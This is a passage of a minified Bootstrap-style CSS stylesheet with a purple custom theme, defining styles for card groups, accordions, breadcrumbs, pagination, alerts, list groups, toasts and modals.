var(--bs-card-group-margin); } @media (min-width: 576px) { .card-group { display: flex; flex-flow: row wrap; } .card-group > .card { flex: 1 0 0%; margin-bottom: 0; } .card-group > .card + .card { margin-left: 0; border-left: 0; } .card-group > .card:not(:last-child) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .card-group > .card:not(:last-child) .card-img-top, .card-group > .card:not(:last-child) .card-header { border-top-right-radius: 0; } .card-group > .card:not(:last-child) .card-img-bottom, .card-group > .card:not(:last-child) .card-footer { border-bottom-right-radius: 0; } .card-group > .card:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .card-group > .card:not(:first-child) .card-img-top, .card-group > .card:not(:first-child) .card-header { border-top-left-radius: 0; } .card-group > .card:not(:first-child) .card-img-bottom, .card-group > .card:not(:first-child) .card-footer { border-bottom-left-radius: 0; } } .accordion { --bs-accordion-color: #293240; --bs-accordion-bg: transparent; --bs-accordion-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, border-radius 0.15s ease; --bs-accordion-border-color: rgba(0, 0, 0, 0.125); --bs-accordion-border-width: 1px; --bs-accordion-border-radius: 10px; --bs-accordion-inner-border-radius: 9px; --bs-accordion-btn-padding-x: 1.25rem; --bs-accordion-btn-padding-y: 1rem; --bs-accordion-btn-color: #293240; --bs-accordion-btn-bg: transparent; --bs-accordion-btn-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23293240'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e"); --bs-accordion-btn-icon-width: 1.25rem; --bs-accordion-btn-icon-transform: rotate(180deg); --bs-accordion-btn-icon-transition: transform 0.2s ease-in-out; --bs-accordion-btn-active-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23252d3a'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e"); --bs-accordion-btn-focus-border-color: #51459d; --bs-accordion-btn-focus-box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); --bs-accordion-body-padding-x: 1.25rem; --bs-accordion-body-padding-y: 1rem; --bs-accordion-active-color: #252d3a; --bs-accordion-active-bg: #e8e9ea; } .accordion-button { position: relative; display: flex; align-items: center; width: 100%; padding: var(--bs-accordion-btn-padding-y) var(--bs-accordion-btn-padding-x); font-size: 0.875rem; color: var(--bs-accordion-btn-color); text-align: left; background-color: var(--bs-accordion-btn-bg); border: 0; border-radius: 0; overflow-anchor: none; transition: var(--bs-accordion-transition); } @media (prefers-reduced-motion: reduce) { .accordion-button { transition: none; } } .accordion-button:not(.collapsed) { color: var(--bs-accordion-active-color); background-color: var(--bs-accordion-active-bg); box-shadow: inset 0 calc(-1 * var(--bs-accordion-border-width)) 0 var(--bs-accordion-border-color); } .accordion-button:not(.collapsed)::after { background-image: var(--bs-accordion-btn-active-icon); transform: var(--bs-accordion-btn-icon-transform); } .accordion-button::after { flex-shrink: 0; width: var(--bs-accordion-btn-icon-width); height: var(--bs-accordion-btn-icon-width); margin-left: auto; content: ""; background-image: var(--bs-accordion-btn-icon); background-repeat: no-repeat; background-size: var(--bs-accordion-btn-icon-width); transition: var(--bs-accordion-btn-icon-transition); } @media (prefers-reduced-motion: reduce) { .accordion-button::after { transition: none; } } .accordion-button:hover { z-index: 2; } .accordion-button:focus { z-index: 3; border-color: var(--bs-accordion-btn-focus-border-color); outline: 0; box-shadow: var(--bs-accordion-btn-focus-box-shadow); } .accordion-header { margin-bottom: 0; } .accordion-item { color: var(--bs-accordion-color); background-color: var(--bs-accordion-bg); border: var(--bs-accordion-border-width) solid var(--bs-accordion-border-color); } .accordion-item:first-of-type { border-top-left-radius: var(--bs-accordion-border-radius); border-top-right-radius: var(--bs-accordion-border-radius); } .accordion-item:first-of-type .accordion-button { border-top-left-radius: var(--bs-accordion-inner-border-radius); border-top-right-radius: var(--bs-accordion-inner-border-radius); } .accordion-item:not(:first-of-type) { border-top: 0; } .accordion-item:last-of-type { border-bottom-right-radius: var(--bs-accordion-border-radius); border-bottom-left-radius: var(--bs-accordion-border-radius); } .accordion-item:last-of-type .accordion-button.collapsed { border-bottom-right-radius: var(--bs-accordion-inner-border-radius); border-bottom-left-radius: var(--bs-accordion-inner-border-radius); } .accordion-item:last-of-type .accordion-collapse { border-bottom-right-radius: var(--bs-accordion-border-radius); border-bottom-left-radius: var(--bs-accordion-border-radius); } .accordion-body { padding: var(--bs-accordion-body-padding-y) var(--bs-accordion-body-padding-x); } .accordion-flush .accordion-collapse { border-width: 0; } .accordion-flush .accordion-item { border-right: 0; border-left: 0; border-radius: 0; } .accordion-flush .accordion-item:first-child { border-top: 0; } .accordion-flush .accordion-item:last-child { border-bottom: 0; } .accordion-flush .accordion-item .accordion-button, .accordion-flush .accordion-item .accordion-button.collapsed { border-radius: 0; } .breadcrumb { --bs-breadcrumb-padding-x: 0; --bs-breadcrumb-padding-y: 0; --bs-breadcrumb-margin-bottom: 1rem; --bs-breadcrumb-bg: ; --bs-breadcrumb-border-radius:; --bs-breadcrumb-divider-color: #6c757d; --bs-breadcrumb-item-padding-x: 0.5rem; --bs-breadcrumb-item-active-color: #6c757d; display: flex; flex-wrap: wrap; padding: var(--bs-breadcrumb-padding-y) var(--bs-breadcrumb-padding-x); margin-bottom: var(--bs-breadcrumb-margin-bottom); font-size: var(--bs-breadcrumb-font-size); list-style: none; background-color: var(--bs-breadcrumb-bg); border-radius: var(--bs-breadcrumb-border-radius); } .breadcrumb-item + .breadcrumb-item { padding-left: var(--bs-breadcrumb-item-padding-x); } .breadcrumb-item + .breadcrumb-item::before { float: left; padding-right: var(--bs-breadcrumb-item-padding-x); color: var(--bs-breadcrumb-divider-color); content: var(--bs-breadcrumb-divider, url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='14' height='14' stroke='%236c757d' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='9 18 15 12 9 6'%3E%3C/polyline%3E%3C/svg%3E")) /* rtl: var(--bs-breadcrumb-divider, url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='14' height='14' stroke='%236c757d' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='9 18 15 12 9 6'%3E%3C/polyline%3E%3C/svg%3E")) */; } .breadcrumb-item.active { color: var(--bs-breadcrumb-item-active-color); } .pagination { --bs-pagination-padding-x: 0.75rem; --bs-pagination-padding-y: 0.375rem; --bs-pagination-font-size: 1rem; --bs-pagination-color: #51459d; --bs-pagination-bg: #ffffff; --bs-pagination-border-width: 1px; --bs-pagination-border-color: #dee2e6; --bs-pagination-border-radius: 10px; --bs-pagination-hover-color: #51459d; --bs-pagination-hover-bg: #f8f9fd; --bs-pagination-hover-border-color: #dee2e6; --bs-pagination-focus-color: #51459d; --bs-pagination-focus-bg: #e9ecef; --bs-pagination-focus-box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); --bs-pagination-active-color: #ffffff; --bs-pagination-active-bg: #51459d; --bs-pagination-active-border-color: #51459d; --bs-pagination-disabled-color: #6c757d; --bs-pagination-disabled-bg: #ffffff; --bs-pagination-disabled-border-color: #dee2e6; display: flex; padding-left: 0; list-style: none; } .page-link { position: relative; display: block; padding: var(--bs-pagination-padding-y) var(--bs-pagination-padding-x); font-size: var(--bs-pagination-font-size); color: var(--bs-pagination-color); background-color: var(--bs-pagination-bg); border: var(--bs-pagination-border-width) solid var(--bs-pagination-border-color); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .page-link { transition: none; } } .page-link:hover { z-index: 2; color: var(--bs-pagination-hover-color); text-decoration: none; background-color: var(--bs-pagination-hover-bg); border-color: var(--bs-pagination-hover-border-color); } .page-link:focus { z-index: 3; color: var(--bs-pagination-focus-color); background-color: var(--bs-pagination-focus-bg); outline: 0; box-shadow: var(--bs-pagination-focus-box-shadow); } .page-link.active, .active > .page-link { z-index: 3; color: var(--bs-pagination-active-color); background-color: var(--bs-pagination-active-bg); border-color: var(--bs-pagination-active-border-color); } .page-link.disabled, .disabled > .page-link { color: var(--bs-pagination-disabled-color); pointer-events: none; background-color: var(--bs-pagination-disabled-bg); border-color: var(--bs-pagination-disabled-border-color); } .page-item:not(:first-child) .page-link { margin-left: -1px; } .page-item:first-child .page-link { border-top-left-radius: var(--bs-pagination-border-radius); border-bottom-left-radius: var(--bs-pagination-border-radius); } .page-item:last-child .page-link { border-top-right-radius: var(--bs-pagination-border-radius); border-bottom-right-radius: var(--bs-pagination-border-radius); } .pagination-lg { --bs-pagination-padding-x: 1.5rem; --bs-pagination-padding-y: 0.75rem; --bs-pagination-font-size: 1.09375rem; --bs-pagination-border-radius: 15px; } .pagination-sm { --bs-pagination-padding-x: 0.5rem; --bs-pagination-padding-y: 0.25rem; --bs-pagination-font-size: 0.76563rem; --bs-pagination-border-radius: 8px; } .badge { --bs-badge-padding-x: 0.5em; --bs-badge-padding-y: 0.35em; --bs-badge-font-size: 0.75em; --bs-badge-font-weight: 500; --bs-badge-color: #ffffff; --bs-badge-border-radius: 2px; display: inline-block; padding: var(--bs-badge-padding-y) var(--bs-badge-padding-x); font-size: var(--bs-badge-font-size); font-weight: var(--bs-badge-font-weight); line-height: 1; color: var(--bs-badge-color); text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: var(--bs-badge-border-radius); } .badge:empty { display: none; } .btn .badge { position: relative; top: -1px; } .alert { --bs-alert-bg: transparent; --bs-alert-padding-x: 1.25rem; --bs-alert-padding-y: 0.75rem; --bs-alert-margin-bottom: 1rem; --bs-alert-color: inherit; --bs-alert-border-color: transparent; --bs-alert-border: 1px solid var(--bs-alert-border-color); --bs-alert-border-radius: 10px; position: relative; padding: var(--bs-alert-padding-y) var(--bs-alert-padding-x); margin-bottom: var(--bs-alert-margin-bottom); color: var(--bs-alert-color); background-color: var(--bs-alert-bg); border: var(--bs-alert-border); border-radius: var(--bs-alert-border-radius); } .alert-heading { color: inherit; } .alert-link { font-weight: 700; } .alert-dismissible { padding-right: 3.75rem; } .alert-dismissible .btn-close { position: absolute; top: 0; right: 0; z-index: 2; padding: 0.9375rem 1.25rem; } .alert-primary { --bs-alert-color: #31295e; --bs-alert-bg: #dcdaeb; --bs-alert-border-color: #cbc7e2; } .alert-primary .alert-link { color: #27214b; } .alert-secondary { --bs-alert-color: #41464b; --bs-alert-bg: #e2e3e5; --bs-alert-border-color: #d3d6d8; } .alert-secondary .alert-link { color: #34383c; } .alert-success { --bs-alert-color: #438228; --bs-alert-bg: #e2f7d9; --bs-alert-border-color: #d4f4c7; } .alert-success .alert-link { color: #366820; } .alert-info { --bs-alert-color: #257980; --bs-alert-bg: #d8f4f7; --bs-alert-border-color: #c5eff3; } .alert-info .alert-link { color: #1e6166; } .alert-warning { --bs-alert-color: #996111; --bs-alert-bg: #ffecd2; --bs-alert-border-color: #ffe3bb; } .alert-warning .alert-link { color: #7a4e0e; } .alert-danger { --bs-alert-color: #992342; --bs-alert-bg: #ffd8e2; --bs-alert-border-color: #ffc4d4; } .alert-danger .alert-link { color: #7a1c35; } .alert-light { --bs-alert-color: #959596; --bs-alert-bg: #fefefe; --bs-alert-border-color: #fdfdfe; } .alert-light .alert-link { color: #777778; } .alert-dark { --bs-alert-color: #11151c; --bs-alert-bg: #d2d3d5; --bs-alert-border-color: #bbbdc1; } .alert-dark .alert-link { color: #0e1116; } @keyframes progress-bar-stripes { 0% { background-position-x: 1rem; } } .progress { --bs-progress-height: 1rem; --bs-progress-font-size: 0.65625rem; --bs-progress-bg: #f8f9fd; --bs-progress-border-radius: 10px; --bs-progress-box-shadow: inset 0 0.1rem 0.1rem rgba(0, 0, 0, 0.1); --bs-progress-bar-color: #ffffff; --bs-progress-bar-bg: #51459d; --bs-progress-bar-transition: width 0.6s ease; display: flex; height: var(--bs-progress-height); overflow: hidden; font-size: var(--bs-progress-font-size); background-color: var(--bs-progress-bg); border-radius: var(--bs-progress-border-radius); } .progress-bar { display: flex; flex-direction: column; justify-content: center; overflow: hidden; color: var(--bs-progress-bar-color); text-align: center; white-space: nowrap; background-color: var(--bs-progress-bar-bg); transition: var(--bs-progress-bar-transition); } @media (prefers-reduced-motion: reduce) { .progress-bar { transition: none; } } .progress-bar-striped { background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-size: var(--bs-progress-height) var(--bs-progress-height); } .progress-bar-animated { animation: 1s linear infinite progress-bar-stripes; } @media (prefers-reduced-motion: reduce) { .progress-bar-animated { animation: none; } } .list-group { --bs-list-group-color: #212529; --bs-list-group-bg: #ffffff; --bs-list-group-border-color: #f1f1f1; --bs-list-group-border-width: 1px; --bs-list-group-border-radius: 10px; --bs-list-group-item-padding-x: 25px; --bs-list-group-item-padding-y: 16.66667px; --bs-list-group-action-color: #495057; --bs-list-group-action-hover-color: #495057; --bs-list-group-action-hover-bg: #f8f9fa; --bs-list-group-action-active-color: #293240; --bs-list-group-action-active-bg: #e9ecef; --bs-list-group-disabled-color: #6c757d; --bs-list-group-disabled-bg: #ffffff; --bs-list-group-active-color: #ffffff; --bs-list-group-active-bg: #51459d; --bs-list-group-active-border-color: #51459d; display: flex; flex-direction: column; padding-left: 0; margin-bottom: 0; border-radius: var(--bs-list-group-border-radius); } .list-group-numbered { list-style-type: none; counter-reset: section; } .list-group-numbered > .list-group-item::before { content: counters(section, ".") ". "; counter-increment: section; } .list-group-item-action { width: 100%; color: var(--bs-list-group-action-color); text-align: inherit; } .list-group-item-action:hover, .list-group-item-action:focus { z-index: 1; color: var(--bs-list-group-action-hover-color); text-decoration: none; background-color: var(--bs-list-group-action-hover-bg); } .list-group-item-action:active { color: var(--bs-list-group-action-active-color); background-color: var(--bs-list-group-action-active-bg); } .list-group-item { position: relative; display: block; padding: var(--bs-list-group-item-padding-y) var(--bs-list-group-item-padding-x); color: var(--bs-list-group-color); background-color: var(--bs-list-group-bg); border: var(--bs-list-group-border-width) solid var(--bs-list-group-border-color); } .list-group-item:first-child { border-top-left-radius: inherit; border-top-right-radius: inherit; } .list-group-item:last-child { border-bottom-right-radius: inherit; border-bottom-left-radius: inherit; } .list-group-item.disabled, .list-group-item:disabled { color: var(--bs-list-group-disabled-color); pointer-events: none; background-color: var(--bs-list-group-disabled-bg); } .list-group-item.active { z-index: 2; color: var(--bs-list-group-active-color); background-color: var(--bs-list-group-active-bg); border-color: var(--bs-list-group-active-border-color); } .list-group-item + .list-group-item { border-top-width: 0; } .list-group-item + .list-group-item.active { margin-top: calc(-1 * var(--bs-list-group-border-width)); border-top-width: var(--bs-list-group-border-width); } .list-group-horizontal { flex-direction: row; } .list-group-horizontal > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal > .list-group-item.active { margin-top: 0; } .list-group-horizontal > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } @media (min-width: 576px) { .list-group-horizontal-sm { flex-direction: row; } .list-group-horizontal-sm > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-sm > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-sm > .list-group-item.active { margin-top: 0; } .list-group-horizontal-sm > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-sm > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 768px) { .list-group-horizontal-md { flex-direction: row; } .list-group-horizontal-md > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-md > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-md > .list-group-item.active { margin-top: 0; } .list-group-horizontal-md > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-md > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 992px) { .list-group-horizontal-lg { flex-direction: row; } .list-group-horizontal-lg > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-lg > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-lg > .list-group-item.active { margin-top: 0; } .list-group-horizontal-lg > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-lg > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 1200px) { .list-group-horizontal-xl { flex-direction: row; } .list-group-horizontal-xl > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-xl > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-xl > .list-group-item.active { margin-top: 0; } .list-group-horizontal-xl > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-xl > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 1400px) { .list-group-horizontal-xxl { flex-direction: row; } .list-group-horizontal-xxl > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-xxl > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-xxl > .list-group-item.active { margin-top: 0; } .list-group-horizontal-xxl > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-xxl > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } .list-group-flush { border-radius: 0; } .list-group-flush > .list-group-item { border-width: 0 0 var(--bs-list-group-border-width); } .list-group-flush > .list-group-item:last-child { border-bottom-width: 0; } .list-group-item-primary { color: #31295e; background-color: #dcdaeb; } .list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus { color: #31295e; background-color: #c6c4d4; } .list-group-item-primary.list-group-item-action.active { color: #ffffff; background-color: #31295e; border-color: #31295e; } .list-group-item-secondary { color: #41464b; background-color: #e2e3e5; } .list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus { color: #41464b; background-color: #cbccce; } .list-group-item-secondary.list-group-item-action.active { color: #ffffff; background-color: #41464b; border-color: #41464b; } .list-group-item-success { color: #438228; background-color: #e2f7d9; } .list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus { color: #438228; background-color: #cbdec3; } .list-group-item-success.list-group-item-action.active { color: #ffffff; background-color: #438228; border-color: #438228; } .list-group-item-info { color: #257980; background-color: #d8f4f7; } .list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus { color: #257980; background-color: #c2dcde; } .list-group-item-info.list-group-item-action.active { color: #ffffff; background-color: #257980; border-color: #257980; } .list-group-item-warning { color: #996111; background-color: #ffecd2; } .list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus { color: #996111; background-color: #e6d4bd; } .list-group-item-warning.list-group-item-action.active { color: #ffffff; background-color: #996111; border-color: #996111; } .list-group-item-danger { color: #992342; background-color: #ffd8e2; } .list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus { color: #992342; background-color: #e6c2cb; } .list-group-item-danger.list-group-item-action.active { color: #ffffff; background-color: #992342; border-color: #992342; } .list-group-item-light { color: #959596; background-color: #fefefe; } .list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus { color: #959596; background-color: #e5e5e5; } .list-group-item-light.list-group-item-action.active { color: #ffffff; background-color: #959596; border-color: #959596; } .list-group-item-dark { color: #11151c; background-color: #d2d3d5; } .list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus { color: #11151c; background-color: #bdbec0; } .list-group-item-dark.list-group-item-action.active { color: #ffffff; background-color: #11151c; border-color: #11151c; } .btn-close { box-sizing: content-box; width: 1em; height: 1em; padding: 0.25em 0.25em; color: #000000; background: transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23000000' viewBox='0 0 16 16'%3e%3cpath d='M.293.293a1 1 0 011.414 0L8 6.586 14.293.293a1 1 0 111.414 1.414L9.414 8l6.293 6.293a1 1 0 01-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 01-1.414-1.414L6.586 8 .293 1.707a1 1 0 010-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat; border: 0; border-radius: 10px; opacity: 0.5; } .btn-close:hover { color: #000000; text-decoration: none; opacity: 0.75; } .btn-close:focus { outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); opacity: 1; } .btn-close:disabled, .btn-close.disabled { pointer-events: none; -webkit-user-select: none; -moz-user-select: none; user-select: none; opacity: 0.25; } .btn-close-white { filter: invert(1) grayscale(100%) brightness(200%); } .toast { --bs-toast-zindex: 1090; --bs-toast-padding-x: 0.75rem; --bs-toast-padding-y: 0.25rem; --bs-toast-spacing: 1.5rem; --bs-toast-max-width: 350px; --bs-toast-font-size: 0.875rem; --bs-toast-color: ; --bs-toast-bg: rgba(255, 255, 255, 0.85); --bs-toast-border-width: 1px; --bs-toast-border-color: rgba(0, 0, 0, 0.1); --bs-toast-border-radius: 0.25rem; --bs-toast-box-shadow: 0 0.25rem 0.75rem rgba(0, 0, 0, 0.1); --bs-toast-header-color: #6c757d; --bs-toast-header-bg: rgba(255, 255, 255, 0.85); --bs-toast-header-border-color: rgba(0, 0, 0, 0.05); width: var(--bs-toast-max-width); max-width: 100%; font-size: var(--bs-toast-font-size); color: var(--bs-toast-color); pointer-events: auto; background-color: var(--bs-toast-bg); background-clip: padding-box; border: var(--bs-toast-border-width) solid var(--bs-toast-border-color); box-shadow: var(--bs-toast-box-shadow); border-radius: var(--bs-toast-border-radius); } .toast.showing { opacity: 0; } .toast:not(.show) { display: none; } .toast-container { --bs-toast-zindex: 1090; position: absolute; z-index: var(--bs-toast-zindex); width: -moz-max-content; width: max-content; max-width: 100%; pointer-events: none; } .toast-container > :not(:last-child) { margin-bottom: var(--bs-toast-spacing); } .toast-header { display: flex; align-items: center; padding: var(--bs-toast-padding-y) var(--bs-toast-padding-x); color: var(--bs-toast-header-color); background-color: var(--bs-toast-header-bg); background-clip: padding-box; border-bottom: var(--bs-toast-border-width) solid var(--bs-toast-header-border-color); border-top-left-radius: calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width)); border-top-right-radius: calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width)); } .toast-header .btn-close { margin-right: calc(-.5 * var(--bs-toast-padding-x)); margin-left: var(--bs-toast-padding-x); } .toast-body { padding: var(--bs-toast-padding-x); word-wrap: break-word; } .modal { --bs-modal-zindex: 1055; --bs-modal-width: 500px; --bs-modal-padding: 1.25rem; --bs-modal-margin: 0.5rem; --bs-modal-color: ; --bs-modal-bg: #ffffff; --bs-modal-border-color: rgba(0, 0, 0, 0.2); --bs-modal-border-width: 1px; --bs-modal-border-radius: 15px; --bs-modal-box-shadow: 0 0.25rem 0.5rem rgba(0, 0, 0, 0.5); --bs-modal-inner-border-radius: 14px; --bs-modal-header-padding-x: 1.5625rem; --bs-modal-header-padding-y: 1.25rem; --bs-modal-header-padding: 1.25rem 1.5625rem; --bs-modal-header-border-color: #f1f1f1; --bs-modal-header-border-width: 1px; --bs-modal-title-line-height: 1.5; --bs-modal-footer-gap: 0.5rem; --bs-modal-footer-bg: ; --bs-modal-footer-border-color: #f1f1f1; --bs-modal-footer-border-width: 1px; position: fixed; top: 0; left: 0; z-index: var(--bs-modal-zindex); display: none; width: 100%; height: 100%; overflow-x: hidden; overflow-y: auto; outline: 0; } .modal-dialog { position: relative; width: auto; margin: var(--bs-modal-margin); pointer-events: none; } .modal.fade .modal-dialog { transition: transform 0.3s ease-out; transform: translate(0, -50px); } @media (prefers-reduced-motion: reduce) { .modal.fade .modal-dialog { transition: none; } } .modal.show .modal-dialog { transform: none; } .modal.modal-static .modal-dialog { transform: scale(1.02); } .modal-dialog-scrollable { height: calc(100% - var(--bs-modal-margin) * 2); } .modal-dialog-scrollable .modal-content { max-height: 100%; overflow: hidden; } .modal-dialog-scrollable .modal-body { overflow-y: auto; } .modal-dialog-centered { display: flex; align-items: center; min-height: calc(100% - var(--bs-modal-margin) * 2); } .modal-content { position: relative; display: flex; flex-direction: column; width: 100%; color: var(--bs-modal-color); pointer-events: auto; background-color: var(--bs-modal-bg); background-clip: padding-box; border: var(--bs-modal-border-width) solid var(--bs-modal-border-color); border-radius: var(--bs-modal-border-radius); outline: 0; } .modal-backdrop { --bs-backdrop-zindex: 1050; --bs-backdrop-bg: #000000; --bs-backdrop-opacity: 0.5; position: fixed; top: 0; left: 0; z-index: var(--bs-backdrop-zindex); width: 100vw; height: 100vh; background-color: var(--bs-backdrop-bg); } .modal-backdrop.fade { opacity: 0; } .modal-backdrop.show { opacity: var(--bs-backdrop-opacity); } .modal-header { display: flex; flex-shrink: 0; align-items: center; justify-content: space-between; padding: var(--bs-modal-header-padding); border-bottom: var(--bs-modal-header-border-width) solid var(--bs-modal-header-border-color); border-top-left-radius: var(--bs-modal-inner-border-radius); border-top-right-radius: var(--bs-modal-inner-border-radius); } .modal-header .btn-close { padding: calc(var(--bs-modal-header-padding-y) * .5) calc(var(--bs-modal-header-padding-x) * .5); margin: calc(-.5 * var(--bs-modal-header-padding-y)) calc(-.5 * var(--bs-modal-header-padding-x)) calc(-.5 * var(--bs-modal-header-padding-y)) auto; } .modal-title { margin-bottom: 0; line-height: var(--bs-modal-title-line-height); } .modal-body { position: relative; flex: 1 1 auto; padding: var(--bs-modal-padding); } .modal-footer { display: flex; flex-shrink: 0; flex-wrap: wrap; align-items: center; justify-content: flex-end; padding: calc(var(--bs-modal-padding) - var(--bs-modal-footer-gap) * .5); background-color: var(--bs-modal-footer-bg); border-top: var(--bs-modal-footer-border-width) solid var(--bs-modal-footer-border-color); border-bottom-right-radius: var(--bs-modal-inner-border-radius); border-bottom-left-radius: var(--bs-modal-inner-border-radius); } .modal-footer > * { margin: calc(var(--bs-modal-footer-gap) * .5); } @media (min-width: 576px) { .modal { --bs-modal-margin: 1.75rem; --bs-modal-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.5); } .modal-dialog { max-width: var(--bs-modal-width); margin-right: auto; margin-left: auto; } .modal-sm { --bs-modal-width: 300px; } } @media (min-width: 992px) { .modal-lg, .modal-xl { --bs-modal-width: 800px; } } @media (min-width: 1200px) { .modal-xl { --bs-modal-width: 1140px; } } .modal-fullscreen { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen .modal-header, .modal-fullscreen .modal-footer { border-radius: 0; } .modal-fullscreen .modal-body { overflow-y: auto; } @media (max-width: 575.98px) { .modal-fullscreen-sm-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-sm-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-sm-down .modal-header, .modal-fullscreen-sm-down .modal-footer { border-radius: 0; } .modal-fullscreen-sm-down .modal-body { overflow-y: auto; } } @media (max-width: 767.98px) { .modal-fullscreen-md-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-md-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-md-down .modal-header, .modal-fullscreen-md-down .modal-footer { border-radius: 0; } .modal-fullscreen-md-down .modal-body { overflow-y: auto; } } @media (max-width: 991.98px) { .modal-fullscreen-lg-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-lg-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-lg-down .modal-header, .modal-fullscreen-lg-down .modal-footer { border-radius: 0; } .modal-fullscreen-lg-down .modal-body { overflow-y: auto; } } @media (max-width: 1199.98px) { 